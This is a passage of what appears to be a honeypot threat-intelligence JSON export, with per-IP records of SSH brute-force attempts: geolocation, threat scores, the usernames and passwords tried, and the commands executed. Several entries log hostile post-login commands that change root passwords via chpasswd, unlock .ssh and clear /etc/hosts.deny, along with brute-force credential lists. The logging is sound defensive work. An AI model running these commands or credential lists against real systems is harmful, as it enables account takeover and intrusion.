        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:07:31.017000+00:00",
        "last_seen_30d": "2026-04-30T15:20:19.305000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "46.191.157.159": {
      "attack_count": 2,
      "first_seen": "2026-04-15T04:30:00.445Z",
      "last_seen": "2026-04-15T04:32:00.544Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Navashino",
      "asn": 60095,
      "as_org": "JSC Ufanet",
      "threat_score": 39.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-15T04:30:00.445000+00:00",
        "last_seen_30d": "2026-04-28T16:59:48.350000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "46.22.229.252": {
      "attack_count": 2,
      "first_seen": "2026-04-30T14:34:55.552Z",
      "last_seen": "2026-04-30T14:35:07.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 211995,
      "as_org": "A2Z Technologies CJSC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:34:55.552000+00:00",
        "last_seen_30d": "2026-04-30T14:36:13.544000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.52.22.195": {
      "attack_count": 2,
      "first_seen": "2026-04-14T16:03:27.125Z",
      "last_seen": "2026-04-14T16:03:40.614Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Shah Alam",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T16:03:27.125000+00:00",
        "last_seen_30d": "2026-04-14T16:04:44.310000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.236.6": {
      "attack_count": 2,
      "first_seen": "2026-04-07T16:13:49.273Z",
      "last_seen": "2026-04-07T16:14:20.048Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T16:13:49.273000+00:00",
        "last_seen_30d": "2026-04-07T16:15:21.227000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "80.232.249.40": {
      "attack_count": 2,
      "first_seen": "2026-04-20T04:40:46.712Z",
      "last_seen": "2026-04-20T04:41:27.033Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 12578,
      "as_org": "SIA Tet",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T04:40:46.712000+00:00",
        "last_seen_30d": "2026-04-20T04:42:29.744000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.68.250.0": {
      "attack_count": 2,
      "first_seen": "2026-04-15T02:39:44.425Z",
      "last_seen": "2026-04-15T02:39:57.787Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Sundsvall",
      "asn": 51132,
      "as_org": "Arkaden Konsult AB",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T02:39:44.425000+00:00",
        "last_seen_30d": "2026-04-15T02:41:06.100000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "4.190.154.39": {
      "attack_count": 1245,
      "first_seen": "2026-04-16T13:59:33.552Z",
      "last_seen": "2026-04-16T15:26:08.689Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 1759,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T13:59:33.552000+00:00",
        "last_seen_30d": "2026-04-16T15:27:15.357000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1245,
        "Suricata": 514
      }
    },
    "101.36.107.152": {
      "attack_count": 1242,
      "first_seen": "2026-04-09T05:37:57.480Z",
      "last_seen": "2026-04-09T06:58:35.949Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 1754,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T05:37:57.480000+00:00",
        "last_seen_30d": "2026-04-09T06:59:37.760000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1242,
        "Suricata": 512
      }
    },
    "197.243.14.52": {
      "attack_count": 911,
      "first_seen": "2026-04-04T04:50:11.077Z",
      "last_seen": "2026-04-17T03:12:18.718Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "n8n",
        "steam",
        "user",
        "odoo",
        "postgres",
        "test",
        "user0",
        "wp-user",
        "admin",
        "admins",
        "ali",
        "ca",
        "claude",
        "debian",
        "deploy",
        "frappe",
        "ftpuser1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1",
        "1234",
        "123456",
        "12345678",
        "12345_qwe",
        "159159",
        "1qazxsw2",
        "345ert#$%ERT",
        "Aa102026",
        "Abcd12!!",
        "Admin!123",
        "Ali11!",
        "Changeme_123",
        "Claude15",
        "Gr123456@",
        "Letmein@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1qazxsw2\\nqbBrmTnpDIMN\\nqbBrmTnpDIMN\\n\"|passwd",
        "echo \"N8n2\\n04MnIFbjFOvE\\n04MnIFbjFOvE\\n\"|passwd",
        "echo \"admin12345\\nkosVXWd0otIB\\nkosVXWd0otIB\\n\"|passwd",
        "echo \"root:8XLMs6jf21Xn\"|chpasswd|bash",
        "echo \"root:bomKLK88ipMR\"|chpasswd|bash",
        "echo \"root:ihRdbqq7dmIj\"|chpasswd|bash",
        "echo \"steamcmd\\n8WIIeA1fgYsY\\n8WIIeA1fgYsY\\n\"|passwd",
        "echo \"wp-user\\nGMSDCCN3JbMT\\nGMSDCCN3JbMT\\n\"|passwd",
        "echo -e \"1qazxsw2\\nqbBrmTnpDIMN\\nqbBrmTnpDIMN\"|passwd|bash",
        "echo -e \"N8n2\\n04MnIFbjFOvE\\n04MnIFbjFOvE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Rwanda",
      "country_code": "RW",
      "city": "Kigali",
      "asn": 37228,
      "as_org": "Olleh-Rwanda-Networks",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1118,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T04:50:11.077000+00:00",
        "last_seen_30d": "2026-04-17T03:13:25.707000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 911,
        "Suricata": 207
      }
    },
    "27.79.41.136": {
      "attack_count": 872,
      "first_seen": "2026-04-17T01:08:39.013Z",
      "last_seen": "2026-04-17T18:08:27.719Z",
      "sessions": 174,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "support",
        "*****",
        "anton",
        "auto",
        "backup",
        "cisco",
        "client",
        "config",
        "db2inst2",
        "developer",
        "dubai",
        "ftpuser",
        "guest",
        "jay",
        "matrix",
        "mms"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "1234",
        "12345",
        "123456",
        "12345678",
        "abc123",
        "abcdefg",
        "admin123",
        "*****",
        "111111",
        "123456789",
        "91482d",
        "Deadstar!",
        "abcd1234",
        "admin1",
        "andrew",
        "anton",
        "asteriskftp",
        "config"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1251,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T22:42:28.274000+00:00",
        "last_seen_30d": "2026-04-17T18:09:30.930000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 872,
        "Suricata": 379
      }
    },
    "171.244.141.86": {
      "attack_count": 827,
      "first_seen": "2026-04-02T13:49:47.377Z",
      "last_seen": "2026-04-19T11:35:54.347Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "claude",
        "ftpuser",
        "postgres",
        "steam",
        "adc",
        "ali",
        "amir",
        "elastic",
        "esuser",
        "git",
        "novinhost",
        "oracle",
        "sammy",
        "user1",
        "z"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "1234",
        "123456",
        "123456-zxcv",
        "1234@abcd",
        "1234ABCD",
        "123qwe",
        "123qwe!@#",
        "147258369",
        "1qaz!QAZ@123",
        "1qaz@WSX#$",
        "2608",
        "Aa123456",
        "Airtel@123",
        "Ba123456",
        "Claude09!",
        "Dd112233",
        "Oracle123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"asdf\\n7KZtD0UTpTxy\\n7KZtD0UTpTxy\\n\"|passwd",
        "echo \"root:Elc3pmlIBVAL\"|chpasswd|bash",
        "echo \"root:JeCYBo0t7Nna\"|chpasswd|bash",
        "echo \"root:edVZxIMhZTZU\"|chpasswd|bash",
        "echo \"root:kmNOczJeN3mn\"|chpasswd|bash",
        "echo \"root:o11hWAmXmILG\"|chpasswd|bash",
        "echo \"root:sYkhUEUuEjRa\"|chpasswd|bash",
        "echo -e \"asdf\\n7KZtD0UTpTxy\\n7KZtD0UTpTxy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1023,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T13:49:47.377000+00:00",
        "last_seen_30d": "2026-04-19T11:37:01.876000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 827,
        "Suricata": 196
      }
    },
    "5.196.111.112": {
      "attack_count": 678,
      "first_seen": "2026-04-05T16:31:44.193Z",
      "last_seen": "2026-04-05T16:37:35.118Z",
      "sessions": 135,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "gitlab",
        "elastic",
        "flask",
        "ftpuser",
        "guest",
        "user",
        "admin",
        "apache",
        "app",
        "centos",
        "deploy",
        "dev",
        "docker",
        "dolphinscheduler",
        "elasticsearch",
        "elsearch",
        "es",
        "ftp"
      ],
      "passwords_attempted": [
        "123456",
        "abc123",
        "password",
        "123",
        " ",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ@WSX",
        "!QAZ@wsx",
        "111111",
        "123321",
        "12345678",
        "123456789",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "1qaz@wsx",
        "1qazXSW@",
        "1qazxsw2",
        "A123456a"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 950,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T16:31:44.193000+00:00",
        "last_seen_30d": "2026-04-05T16:38:43.105000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 678,
        "Suricata": 272
      }
    },
    "81.192.46.32": {
      "attack_count": 661,
      "first_seen": "2026-04-09T18:24:47.386Z",
      "last_seen": "2026-04-14T06:52:58.689Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "frappe",
        "odoo",
        "patrick",
        "sopuser",
        "steam",
        "test",
        "Ubuntu",
        "appuser",
        "db2inst1",
        "deep",
        "dev",
        "gitea",
        "it",
        "kira",
        "n8n",
        "postgres",
        "sammy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "00",
        "1",
        "123",
        "12345678",
        "1234Qwert",
        "123qwer",
        "1QAZ2wsx..",
        "1qaz2wsx",
        "4rfv$RFV",
        "830922",
        "A123456/",
        "A1234567891011121314151617181920",
        "Aa123123.",
        "Changeme_123",
        "Default2026",
        "Dev30",
        "Frappe17!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Changeme_123\\nzzX4AbATYKGV\\nzzX4AbATYKGV\\n\"|passwd",
        "echo \"asdzxc\\nwGieGQkgbzVZ\\nwGieGQkgbzVZ\\n\"|passwd",
        "echo \"patrick\\ne6jIlptASkq8\\ne6jIlptASkq8\\n\"|passwd",
        "echo \"root:2Tp3qh7nQc7T\"|chpasswd|bash",
        "echo \"root:eNwnDskoHBdM\"|chpasswd|bash",
        "echo \"ubuntu@2024\\nZPo8h7TKKI7u\\nZPo8h7TKKI7u\\n\"|passwd",
        "echo -e \"Changeme_123\\nzzX4AbATYKGV\\nzzX4AbATYKGV\"|passwd|bash",
        "echo -e \"asdzxc\\nwGieGQkgbzVZ\\nwGieGQkgbzVZ\"|passwd|bash",
        "echo -e \"patrick\\ne6jIlptASkq8\\ne6jIlptASkq8\"|passwd|bash",
        "echo -e \"ubuntu@2024\\nZPo8h7TKKI7u\\nZPo8h7TKKI7u\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 806,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T18:24:47.386000+00:00",
        "last_seen_30d": "2026-04-14T06:54:05.312000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 661,
        "Suricata": 145
      }
    },
    "172.214.47.38": {
      "attack_count": 648,
      "first_seen": "2026-04-10T17:40:17.224Z",
      "last_seen": "2026-04-10T23:07:17.270Z",
      "sessions": 129,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12",
        "123",
        "123123//",
        "123123@",
        "123123dd!",
        "123123dd@",
        "123123zz@",
        "1234",
        "123456",
        "1234567",
        "123key",
        "1906",
        "1908",
        "1909",
        "1910",
        "1911",
        "1912",
        "1913",
        "1915",
        "1916"
      ],
      "commands_executed": [
        "pwd"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1025,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:30:45.087000+00:00",
        "last_seen_30d": "2026-04-10T23:08:17.624000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 648,
        "Suricata": 377
      }
    },
    "103.189.208.13": {
      "attack_count": 566,
      "first_seen": "2026-04-11T18:14:31.858Z",
      "last_seen": "2026-04-28T08:29:45.253Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "edu",
        "steam",
        "dev",
        "frappe",
        "ftpuser",
        "git",
        "test",
        "testftp",
        "tom",
        "user",
        "user_jenkins",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "*963.*963",
        "12341234",
        "12345",
        "123456#@!",
        "123456aA.",
        "123456aA@",
        "123ewqasdcxz",
        "123wwwrun",
        "147",
        "1qazEDC",
        "2026@lekLAeLK",
        "Admin1234@123",
        "Dev29",
        "GfhnytH",
        "Kuanfan@021",
        "Lk123456",
        "P@ssword0",
        "P@ssword2"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qazEDC\\nTRTvUUT12Vdx\\nTRTvUUT12Vdx\\n\"|passwd",
        "echo \"edu\\nER6sravtoCag\\nER6sravtoCag\\n\"|passwd",
        "echo \"root:7hsJI2ijurzK\"|chpasswd|bash",
        "echo \"root:lg6eEjSMtvmp\"|chpasswd|bash",
        "echo \"root:qMhWItxAS1dd\"|chpasswd|bash",
        "echo -e \"1qazEDC\\nTRTvUUT12Vdx\\nTRTvUUT12Vdx\"|passwd|bash",
        "echo -e \"edu\\nER6sravtoCag\\nER6sravtoCag\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149111,
      "as_org": "TEDEV TECHNOLOGICAL DEVELOPMENT COMPANY LIMITED",
      "threat_score": 51.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 691,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T18:14:31.858000+00:00",
        "last_seen_30d": "2026-04-28T08:30:47.238000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 566,
        "Suricata": 125
      }
    },
    "92.118.39.72": {
      "attack_count": 533,
      "first_seen": "2026-04-01T14:02:02.153Z",
      "last_seen": "2026-04-15T09:34:39.885Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "blockchain",
        "miner",
        "pool",
        "solana",
        "user",
        "validator"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "blockchain",
        "miner",
